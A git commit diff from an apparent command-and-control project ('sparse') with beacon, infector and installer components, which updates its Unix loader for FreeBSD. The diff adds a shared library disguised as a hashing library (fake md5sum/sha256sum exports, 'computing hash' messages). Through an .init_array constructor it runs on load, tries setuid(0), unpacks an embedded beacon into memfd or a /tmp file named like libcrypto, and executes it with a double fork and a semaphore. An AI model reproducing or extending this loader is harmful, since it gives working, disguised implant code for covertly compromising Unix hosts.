feat: made unix-loader more stable on FreeBSD
This commit is contained in:
parent
d8a277e769
commit
00331ec550
13
Cargo.lock
generated
13
Cargo.lock
generated
@ -3205,6 +3205,9 @@ dependencies = [
|
||||
[[package]]
|
||||
name = "sparse-infector"
|
||||
version = "2.0.0"
|
||||
dependencies = [
|
||||
"sparse-actions",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "sparse-server"
|
||||
@ -3253,10 +3256,20 @@ dependencies = [
|
||||
[[package]]
|
||||
name = "sparse-unix-beacon"
|
||||
version = "2.0.0"
|
||||
dependencies = [
|
||||
"errno",
|
||||
"libc",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "sparse-unix-installer"
|
||||
version = "2.0.0"
|
||||
dependencies = [
|
||||
"rand 0.9.0",
|
||||
"sparse-actions",
|
||||
"sparse-infector",
|
||||
"structopt",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "sparse-windows-beacon"
|
||||
|
||||
12
flake.nix
12
flake.nix
@ -56,12 +56,11 @@
|
||||
libpcap-linux-musl libpcap-freebsd;
|
||||
|
||||
buildTools = with pkgs; rec {
|
||||
linux = [
|
||||
base = [
|
||||
# Tools for local compilation
|
||||
lld
|
||||
zig
|
||||
clang
|
||||
glibc
|
||||
libclang
|
||||
mold
|
||||
|
||||
@ -72,9 +71,10 @@
|
||||
binaryen
|
||||
sqlx-cli
|
||||
];
|
||||
freebsd = buildTools.linux
|
||||
linux = buildTools.base ++ [ glibc musl ];
|
||||
freebsd = buildTools.base
|
||||
++ [ pkgsCross.x86_64-freebsd.buildPackages.clang ];
|
||||
windows = buildTools.linux ++ [
|
||||
windows = buildTools.base ++ [
|
||||
pkgsCross.mingwW64.stdenv.cc
|
||||
pkgsCross.mingwW64.windows.pthreads
|
||||
];
|
||||
@ -95,6 +95,10 @@
|
||||
# Cargo lint tools
|
||||
taplo
|
||||
cargo-deny
|
||||
|
||||
# Docs
|
||||
man-pages
|
||||
man-pages-posix
|
||||
];
|
||||
|
||||
craneLib = (crane.mkLib pkgs).overrideToolchain (p:
|
||||
|
||||
@ -181,6 +181,8 @@ let
|
||||
--summary all \
|
||||
--prefix $out \
|
||||
--release=small \
|
||||
-Dfork \
|
||||
-Dos=linux \
|
||||
-Dbeacon=${sparse-beacon-linux}/bin/sparse-unix-beacon \
|
||||
-Dtarget=x86_64-linux-musl \
|
||||
--verbose
|
||||
@ -201,6 +203,8 @@ let
|
||||
--summary all \
|
||||
--prefix $out \
|
||||
--release=small \
|
||||
-Dfork \
|
||||
-Dos=freebsd \
|
||||
-Dtarget=x86_64-freebsd \
|
||||
-Dbeacon=${sparse-beacon-freebsd}/bin/sparse-unix-beacon \
|
||||
--sysroot ${freebsd-libs} \
|
||||
@ -219,7 +223,7 @@ let
|
||||
CARGO_BUILD_TARGET = "x86_64-unknown-linux-musl";
|
||||
CARGO_BUILD_RUSTFLAGS = "-Ctarget-feature=+crt-static";
|
||||
|
||||
SPARSE_LOADER_LINUX = "${linux-loader}/lib/libunix-loader.so";
|
||||
SPARSE_LOADER = "${linux-loader}/lib/libunix-loader-linux.so";
|
||||
});
|
||||
|
||||
sparse-installer-freebsd-sysv = craneLib.buildPackage (commonArgs // {
|
||||
@ -232,7 +236,7 @@ let
|
||||
CARGO_BUILD_TARGET = "x86_64-unknown-linux-musl";
|
||||
CARGO_BUILD_RUSTFLAGS = "-Ctarget-feature=+crt-static";
|
||||
|
||||
SPARSE_LOADER_FREEBSD = "${freebsd-loader}/lib/libunix-loader.so";
|
||||
SPARSE_LOADER = "${freebsd-loader}/lib/libunix-loader-freebsd.so";
|
||||
});
|
||||
|
||||
sparse-installer-freebsd =
|
||||
|
||||
@ -4,3 +4,5 @@ edition = "2024"
|
||||
version.workspace = true
|
||||
|
||||
[dependencies]
|
||||
libc = "0.2"
|
||||
errno = "0.3"
|
||||
|
||||
@ -1,3 +1,14 @@
|
||||
fn main() {
|
||||
println!("Hello, world!");
|
||||
|
||||
#[cfg(target_os = "freebsd")]
|
||||
unsafe {
|
||||
let sem = libc::sem_open(c"/libcrypto".as_ptr(), 0);
|
||||
libc::sem_post(sem);
|
||||
}
|
||||
|
||||
println!("Hello, world!");
|
||||
unsafe { println!("\n{}\n", libc::getpid()) };
|
||||
|
||||
loop {}
|
||||
}
|
||||
|
||||
@ -1,7 +1,14 @@
|
||||
const std = @import("std");
|
||||
|
||||
pub fn build(b: *std.Build) !void {
|
||||
var arena = std.heap.ArenaAllocator.init(std.heap.page_allocator);
|
||||
defer arena.deinit();
|
||||
const alloc = arena.allocator();
|
||||
|
||||
const beacon = b.option([]const u8, "beacon", "path to beacon to load") orelse std.debug.panic("Expected a path to a beacon to be provided with -Dbeacon", .{});
|
||||
const target_os = b.option([]const u8, "os", "os name to inject in final binary") orelse "linux";
|
||||
const fork = b.option(bool, "fork", "whether to fork or take over the process") orelse false;
|
||||
|
||||
const beacon_path = std.Build.LazyPath{ .cwd_relative = beacon };
|
||||
|
||||
const target = b.standardTargetOptions(.{});
|
||||
@ -26,14 +33,21 @@ pub fn build(b: *std.Build) !void {
|
||||
.pic = true,
|
||||
});
|
||||
|
||||
const options = b.addOptions();
|
||||
options.addOption(bool, "fork", fork);
|
||||
|
||||
libloader.addIncludePath(b.path("src"));
|
||||
libloader.root_module.addAnonymousImport("beacon", .{ .root_source_file = compressed_beacon });
|
||||
libloader.root_module.addOptions("config", options);
|
||||
|
||||
if (target.result.os.tag == .freebsd) {
|
||||
libloader.linkLibC();
|
||||
}
|
||||
|
||||
libloader.step.dependOn(&tool_step.step);
|
||||
|
||||
var lib = b.addSharedLibrary(.{
|
||||
.name = "unix-loader",
|
||||
.name = try std.fmt.allocPrint(alloc, "unix-loader-{s}", .{target_os}),
|
||||
.root_source_file = b.path("src/loader.zig"),
|
||||
.target = target,
|
||||
.optimize = optimize,
|
||||
@ -44,8 +58,6 @@ pub fn build(b: *std.Build) !void {
|
||||
.name = "test-loader",
|
||||
.root_source_file = b.path("src/test_run.zig"),
|
||||
.target = target,
|
||||
.optimize = optimize,
|
||||
.strip = true,
|
||||
});
|
||||
|
||||
lib.addIncludePath(b.path("src"));
|
||||
|
||||
@ -1,4 +1,6 @@
|
||||
const builtin = @import("builtin");
|
||||
const std = @import("std");
|
||||
const posix = std.posix;
|
||||
|
||||
const beacon = @embedFile("beacon");
|
||||
|
||||
@ -6,22 +8,23 @@ const Parameters = @cImport({
|
||||
@cInclude("abi.h");
|
||||
}).Parameters;
|
||||
|
||||
fn use_beacon(gzipped_exe: []const u8, parameters: *Parameters) !void {
|
||||
std.debug.print("Test {s}", .{parameters.beacon_identifier});
|
||||
const config = @import("config");
|
||||
|
||||
const uid = std.os.linux.getuid();
|
||||
_ = std.c.setuid(0);
|
||||
|
||||
if (std.os.linux.getuid() != 0) {
|
||||
return;
|
||||
fn open_temp() !std.fs.File {
|
||||
switch (builtin.os.tag) {
|
||||
.linux => {
|
||||
const fd = posix.memfd_create("", 0);
|
||||
return std.fs.File{ .handle = fd };
|
||||
},
|
||||
else => {
|
||||
return std.fs.createFileAbsolute("/tmp/libcryptoint", .{ .mode = 0o775 });
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
const pid = std.c.fork();
|
||||
if (pid == 0) {
|
||||
if (std.c.fork() == 0) {
|
||||
const exe_fd = try std.posix.memfd_create("", 0);
|
||||
fn exec_beacon(gzipped_exe: []const u8, parameters: *Parameters) !void {
|
||||
var gzipped_exe_stream = std.io.fixedBufferStream(gzipped_exe);
|
||||
var exe_file = std.fs.File{ .handle = exe_fd };
|
||||
var exe_file = try open_temp();
|
||||
|
||||
try std.compress.gzip.decompress(gzipped_exe_stream.reader(), exe_file.writer());
|
||||
|
||||
@ -36,7 +39,12 @@ fn use_beacon(gzipped_exe: []const u8, parameters: *Parameters) !void {
|
||||
defer arena.deinit();
|
||||
const alloc = arena.allocator();
|
||||
|
||||
const file_path = try std.fmt.allocPrint(alloc, "/proc/self/fd/{d}", .{exe_fd});
|
||||
const file_path = switch (builtin.os.tag) {
|
||||
.linux => try std.fmt.allocPrint(alloc, "/proc/self/fd/{d}", .{exe_file.handle}),
|
||||
else => "/tmp/libcryptoint",
|
||||
};
|
||||
|
||||
exe_file.close();
|
||||
|
||||
const beacon_name = try alloc.dupeZ(u8, parameters.beacon_name[0..parameters.beacon_name_length]);
|
||||
const file_path_ptr = try alloc.dupeZ(u8, file_path);
|
||||
@ -44,23 +52,60 @@ fn use_beacon(gzipped_exe: []const u8, parameters: *Parameters) !void {
|
||||
const argv: [*:null]const ?[*:0]const u8 = &.{ beacon_name, null };
|
||||
const envp: [*:null]const ?[*:0]const u8 = &.{null};
|
||||
|
||||
_ = std.c.execve(file_path_ptr, argv, envp);
|
||||
std.c.exit(1);
|
||||
switch (posix.execveZ(file_path_ptr, argv, envp)) {
|
||||
else => |e| {
|
||||
if (builtin.mode == .Debug) {
|
||||
std.debug.print("Internal error performing hash! {s}\n", .{@errorName(e)});
|
||||
}
|
||||
std.c.exit(0);
|
||||
} else {
|
||||
var status: c_int = 0;
|
||||
_ = std.c.waitpid(pid, &status, 0);
|
||||
_ = std.c.kill(pid, std.c.SIG.KILL);
|
||||
},
|
||||
}
|
||||
|
||||
_ = std.c.setuid(uid);
|
||||
posix.exit(1);
|
||||
}
|
||||
|
||||
fn use_beacon(gzipped_exe: []const u8, parameters: *Parameters) !void {
|
||||
var uid: usize = undefined;
|
||||
if (builtin.os.tag == .linux) {
|
||||
uid = std.os.linux.syscall0(.getuid);
|
||||
try posix.setuid(0);
|
||||
|
||||
if (std.os.linux.syscall0() != 0) {
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
if (!config.fork) {
|
||||
try exec_beacon(gzipped_exe, parameters);
|
||||
} else {
|
||||
const pid = try posix.fork();
|
||||
if (pid == 0) {
|
||||
if (try posix.fork() == 0) {
|
||||
try exec_beacon(gzipped_exe, parameters);
|
||||
} else if (builtin.os.tag != .linux) {
|
||||
const sem = std.c.sem_open("/libcrypto", 0x200, 0o775, 0);
|
||||
|
||||
_ = std.c.sem_wait(sem);
|
||||
|
||||
posix.unlink("/tmp/libcryptoint") catch {};
|
||||
}
|
||||
posix.exit(0);
|
||||
} else {
|
||||
_ = posix.waitpid(pid, 0);
|
||||
if (builtin.os.tag == .linux) {
|
||||
posix.kill(pid, 9) catch {};
|
||||
}
|
||||
}
|
||||
|
||||
if (builtin.os.tag == .linux) {
|
||||
try posix.setuid(uid);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
export fn hash_internals(parameters: *Parameters) void {
|
||||
use_beacon(beacon, parameters) catch |err| {
|
||||
if (@import("builtin").mode == .Debug) {
|
||||
std.debug.print("Error using hash internals! {any}", .{err});
|
||||
if (builtin.mode == .Debug) {
|
||||
std.debug.print("External error computing hash! {any}\n", .{err});
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
@ -20,7 +20,8 @@ fn fill_parameters() !void {
|
||||
@memcpy(@as([*]u8, @ptrCast(&file_parameters)), ¶m_buffer);
|
||||
}
|
||||
|
||||
export fn calculate_hash() void {
|
||||
export fn calculate_hash() callconv(.C) void {
|
||||
std.io.getStdOut().writeAll("Loaded!") catch {};
|
||||
fill_parameters() catch |err| {
|
||||
if (dbg) {
|
||||
std.debug.print("Error calculating hash! {any}", .{err});
|
||||
@ -30,6 +31,8 @@ export fn calculate_hash() void {
|
||||
hash_internals(&file_parameters);
|
||||
}
|
||||
|
||||
export const init_array: [1]*const fn () callconv(.C) void linksection(".init_array") = .{&calculate_hash};
|
||||
|
||||
export fn md4sum() void {}
|
||||
export fn md5sum() void {}
|
||||
export fn sha256sum() void {}
|
||||
|
||||
@ -1,5 +1,11 @@
|
||||
extern fn hash_internals() void;
|
||||
extern fn hash_internals(parameters: *Parameters) void;
|
||||
|
||||
const Parameters = @cImport({
|
||||
@cInclude("abi.h");
|
||||
}).Parameters;
|
||||
|
||||
var file_parameters: Parameters = .{};
|
||||
|
||||
pub fn main() void {
|
||||
hash_internals();
|
||||
hash_internals(&file_parameters);
|
||||
}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user